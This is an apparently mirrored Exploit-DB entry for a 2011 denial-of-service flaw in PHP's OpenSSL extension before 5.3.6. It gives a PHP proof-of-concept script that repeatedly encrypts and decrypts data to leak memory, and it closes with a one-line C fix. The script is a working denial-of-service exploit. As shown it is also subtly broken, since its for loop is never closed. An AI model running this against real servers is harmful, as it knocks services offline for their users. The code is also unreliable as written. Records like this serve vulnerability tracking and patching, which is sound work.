PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service - 体验盒子

作者： dovbysh

日期： 2011-03-08

类别：

dos

平台：

php

来源：https://www.exploit-db.com/exploits/35487/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

source: https://www.securityfocus.com/bid/46977/info

PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.

Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.

Versions prior to PHP 5.3.6 are vulnerable.

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 ffrwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";

$pass = "r23498rui324hjbnkj";

$maxi = 200000;

$t = microtime(1);

for ($i=0;$i<$maxi; $i++){

$cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');

$dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');

if ($dcr != $data.$i){

print "at step $i decryption failed\n";

}

$t = microtime(1)-$t;

print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";

?>

fixes by add this code at line 4818 at the end of openssl_decrypt:

EVP_CIPHER_CTX_cleanup(&cipher_ctx);

?>